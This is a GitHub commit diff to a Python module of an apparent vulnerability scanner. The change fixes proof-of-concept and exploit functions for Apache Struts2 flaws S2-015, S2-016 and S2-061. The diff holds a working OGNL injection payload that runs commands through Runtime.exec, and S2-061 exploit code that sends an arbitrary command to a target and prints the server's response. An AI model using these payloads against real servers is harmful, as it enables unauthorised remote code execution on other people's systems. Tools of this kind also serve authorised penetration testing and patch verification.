Skip to content

Commit c722d24

Browse files
authored
fix 0.7 s2-015 & s2-016 & s2-061
1 parent 6c2de7d commit c722d24

File tree

1 file changed

+11
-10
lines changed

1 file changed

+11
-10
lines changed

payload/ApacheStruts2.py

Lines changed: 11 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
#!/usr/bin/env python3
22
# -*- coding: utf-8 -*-
3+
import re
34
import http.client
45
import base64
56
from thirdparty import requests
@@ -59,7 +60,7 @@ def __init__(self, url):
5960
'ing(%23d))%2C%23out.close()%7D'
6061
self.payload_s2_015 = r"/${%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23f=%23_memberAcces" \
6162
r"s.getClass().getDeclaredField('allowStaticMethodAccess'),%23f.setAccessible(true),%23f.set(%23_memberA" \
62-
r"ccess, true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInp" \
63+
r"ccess, true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('RECOMMAND').getInp" \
6364
r"utStream())}.action"
6465
self.payload_s2_016_1 = r"?redirect:${%23req%3d%23context.get(%27co%27" \
6566
r"%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atc" \
@@ -423,7 +424,7 @@ def s2_016_poc(self):
423424
if md in misinformation(self.req.text, md):
424425
self.vul_info["vul_data"] = dump.dump_all(self.req).decode('utf-8', 'ignore')
425426
self.vul_info["prt_resu"] = "PoCSuCCeSS"
426-
self.vul_info["vul_payd"] = self.payload
427+
self.vul_info["vul_payd"] = self.payload_1
427428
self.vul_info["prt_info"] = "[rce] [cmd: " + cmd + "]"
428429
verify.scan_print(self.vul_info)
429430
except requests.exceptions.Timeout:
@@ -799,18 +800,19 @@ def s2_061_poc(self):
799800
" may lead to remote code execution."
800801
self.vul_info["cre_date"] = "2021-01-30"
801802
self.vul_info["cre_auth"] = "zhzyker"
802-
md = dns_request()
803-
cmd = "ping " + md
803+
md = random_md5()
804+
cmd = "echo " + md
804805
self.payload = self.payload_s2_061.replace("RECOMMAND", cmd)
805806
if r"?" not in self.url:
806-
self.url_061 = self.url + "?id="
807+
self.url_061 = self.url + "/?id="
807808
try:
808809
self.req = requests.get(self.url_061 + self.payload, headers=self.headers, timeout=self.timeout, verify=False)
809-
if dns_result(md):
810+
req = re.findall(r'<a id="(.*)', self.req.text)[0]
811+
if misinformation(req, md):
810812
self.vul_info["vul_data"] = dump.dump_all(self.req).decode('utf-8', 'ignore')
811813
self.vul_info["prt_resu"] = "PoCSuCCeSS"
812814
self.vul_info["vul_payd"] = self.payload
813-
self.vul_info["prt_info"] = "[dns] [cmd: " + cmd + "]"
815+
self.vul_info["prt_info"] = "[rce] [cmd: " + cmd + "]"
814816
verify.scan_print(self.vul_info)
815817
except requests.exceptions.Timeout:
816818
verify.timeout_print(self.vul_info["prt_name"])
@@ -1082,12 +1084,11 @@ def s2_061_exp(self, cmd):
10821084
vul_name = "Apache Struts2: S2-061"
10831085
self.payload = self.payload_s2_061.replace("RECOMMAND", cmd)
10841086
if r"?" not in self.url:
1085-
self.url_061 = self.url + "?id="
1087+
self.url_061 = self.url + "/?id="
10861088
try:
10871089
self.req = requests.get(self.url_061 + self.payload, headers=self.headers, timeout=self.timeout, verify=False)
1088-
r = "Command Executed Successfully (But No Echo)"
10891090
self.raw_data = dump.dump_all(self.req).decode('utf-8', 'ignore')
1090-
verify.exploit_print(r, self.raw_data)
1091+
verify.exploit_print(self.req.text, self.raw_data)
10911092
except requests.exceptions.Timeout:
10921093
verify.timeout_print(vul_name)
10931094
except requests.exceptions.ConnectionError:

0 commit comments

Comments
 (0)